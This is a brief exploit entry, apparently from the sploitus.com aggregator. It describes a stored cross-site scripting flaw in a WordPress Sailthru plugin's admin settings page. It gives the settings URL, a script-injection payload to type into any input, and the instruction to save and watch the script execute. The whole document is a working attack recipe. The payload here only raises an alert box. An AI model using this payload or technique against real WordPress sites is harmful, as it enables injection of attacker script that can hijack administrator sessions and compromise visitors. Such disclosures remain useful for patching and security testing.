## https://sploitus.com/exploit?id=WPEX-ID:A9A10D0F-D8F2-4F3E-92BF-94FC08416D87
1. Go to https://example.com/wp-admin/options-general.php?page=sailthru&action=options
2. Enter the payload `"><script>alert(2)</script>` for any of the inputs
3. Save and see the XSS